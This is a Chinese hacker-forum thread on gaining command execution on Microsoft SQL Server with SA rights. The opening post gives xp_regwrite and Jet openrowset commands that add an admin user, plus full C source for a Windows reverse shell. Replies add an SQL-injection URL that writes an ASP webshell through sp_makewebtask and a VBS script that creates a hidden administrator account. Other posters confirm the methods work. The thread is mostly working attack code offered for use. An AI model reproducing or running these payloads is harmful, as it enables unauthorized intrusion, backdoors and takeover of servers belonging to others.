发新话题
打印

[讨论]SA权限仅需xp_regwrite即可有dos shell

[讨论]SA权限仅需xp_regwrite即可有dos shell

议题提交:L0op8ack
信息来源:邪恶八进制信息安全团队(www.eviloctal.com

删除xp_cmdshell和xplog70.dll不用担心,只要保留xp_regwrite就可以执行系统命令,拥有一个dos shell
利用RDS的一个老问题,在IIS 4.0的时候被广泛利用,现在好像没多少人想得起来了
绝对比去想办法恢复xp_cmdshell来得经济实惠,不过需要猜一下系统路径
nt/2k: x:\winnt\system32\
xp/2003: x:\windows\system32\
如果有回显,可以看到执行返回结果,否则需要先判断主机OS类型再试
当然如果野蛮一点,四个轮流来一遍也行。

首先开启沙盘模式:
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1

然后利用jet.oledb执行系统命令
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')

验证截图:


附:
无法连接数据库服务器时(数据库一般不对外开放,但是可以对外访问),
可以使用反弹dos shell方式搞定
====================== CUT here =======================
//name      : win32 connect back shell source for nt/2K/xp/2003
//compile   : cl win32cbsh.c   (vc6)
//usage      :
//on your pc   : nc -l -p {listen port}
//on vitim pc   : win32cbsh {your ip} {listen port}
//warning   : if there's no parameter specified, it will cause "fatal error"
#include <winsock2.h>
#pragma comment(lib,"ws2_32")
int main(int argc, char **argv)
{
   WSADATA wsaData;
   SOCKET hSocket;
   STARTUPINFO si;
   PROCESS_INFORMATION pi;
   struct sockaddr_in adik_sin;
   memset(&adik_sin,0,sizeof(adik_sin));
   memset(&si,0,sizeof(si));
   WSAStartup(MAKEWORD(2,0),&wsaData);
   hSocket=WSASocket(AF_INET,SOCK_STREAM,NULL,NULL,NULL,NULL);
   adik_sin.sin_family=AF_INET;
   adik_sin.sin_port=htons(atoi(argv[2]));
   adik_sin.sin_addr.s_addr=inet_addr(argv[1]);
   if(0!=connect(hSocket,(struct sockaddr*)&adik_sin,sizeof(adik_sin))) return -1;
   si.cb=sizeof(si);
   si.dwFlags=STARTF_USESTDHANDLES;
   si.hStdInput=si.hStdOutput=si.hStdError=(void *)hSocket;
   CreateProcess(NULL,"cmd.exe",NULL,NULL,1,NULL,NULL,NULL,&si,&pi);
   return 0;
}
====================== CUT here =======================

TOP

引用:
这里是引用第[0 楼]l0op8ack2006-01-02 09:10发表的:[讨论]SA权限仅需xp_regwrite即可有dos shell
议题提交:L0op8ack
信息来源:邪恶八进制信息安全团队(www.eviloctal.com

删除xp_cmdshell和xplog70.dll不用担心,只要保留xp_regwrite就可以执行系统命令,拥有一个dos shell
利用RDS的一个老问题,在IIS 4.0的时候被广泛利用,现在好像没多少人想得起来了
.......
office2003怎么搞都没用样

TOP

好贴子,要是db_owern下能执行这个命令就爽了.
每个人都有属于自已的世界,人生因此而精彩,HACK就是我的世界!

TOP

Cannot load the DLL xpstar.dll, or one of the DLLs it references. Reason: 126(The specified module could not be found.).

Why?

TOP

貌似这个方法都出来好久了

TOP

我再说一个方法,直接得webshell的,也要sa权限 ,这年头,权限不好弄啊,呵呵



用 sp_makewebtask直接在web目录里写入一句话马:

http://127.0.0.1/dblogin123.asp?username=123&#39;;exec%20sp_makewebtask%20&#39;d:\www\tt\88.asp&#39;,&#39;%20select%20&#39;&#39;<%25execute(request("a"))%25>&#39;&#39;%20&#39;;--


前提是注入点是sa权限。

sp_makewebtask真是个好东西,知道表名就能够输出内容了。其中的一个问题困扰了我很久,今天终于得到解决:在用sp_makewebtask往文件里面写东西的时候,用到了select语句,但是只是用它来写<%execute(request("a"))%>,并不是对某个列的查询,写入一直出错。由于sp_makewebtask的第二个参数本身有个单引号在外面了,本以为select后面的内容加双引号就能成功写进去了,但是总是不能,偶尔发现是用两个单引号来直接写文本,单引号起着重定义的作用,本机试验成功。

sp_makewebtask的要求权限是sa,而且用这种方法的时候需要知道WEB的物理路径。但是有的管理员会删除某些扩展存储过程,这种方法也能算是个思路吧

方法是比较猥琐了点

[s:264] [s:264]

TOP

汗一下。。。我还以为是什么新东西。~这么老的东西都被楼上挖出来了。

楼上猥琐的方法在某些特定的情况下还是管用的。嘿嘿。昨天刚好遇到一个KR的站就这个情况~
昨天是明天的前天今天是昨天的明天明天是昨天的后天    ╰o╯╰o╯

TOP

经测试,LZ的方法确实有效……
My Blog:http://www.hackest.cn/ [H.S.T]:http://www.hackm.com/

TOP

经测试,5楼的方法同样有效
My Blog:http://www.hackest.cn/ [H.S.T]:http://www.hackm.com/

TOP

net的权限被限制了,不能用net,直接xpcmd执行都是被拒绝,有啥好方法啊?

TOP

ls的。试试net1.哈哈
君子与其练达,不若朴鲁;与其曲谨,不若疏狂。

TOP

.net1也不行,我都试过了,没有权限
组件我倒是都给恢复了,还有啥好的办法么?

TOP

但是不能回显的怎么办?

TOP

看过 LCX 的一则 VBS

SET wsnetwork = CreateObject("WSCRIPT.NETWORK")
os = "WinNT://" & wsnetwork.ComputerName
SET ob = GetObject(os)
SET oe = GetObject(os & "/administrators,group")
SET od = ob.Create("user", "he$")
od.SetPassword "he"
od.SetInfo
Set of = GetObject(os & "/he$", user)
oe.add  os&"/he$"

保存为 AddUser.VBS ,然后在 CMD 中运行  cscript AddUser.vbs
就可增加用户。

TOP

发新话题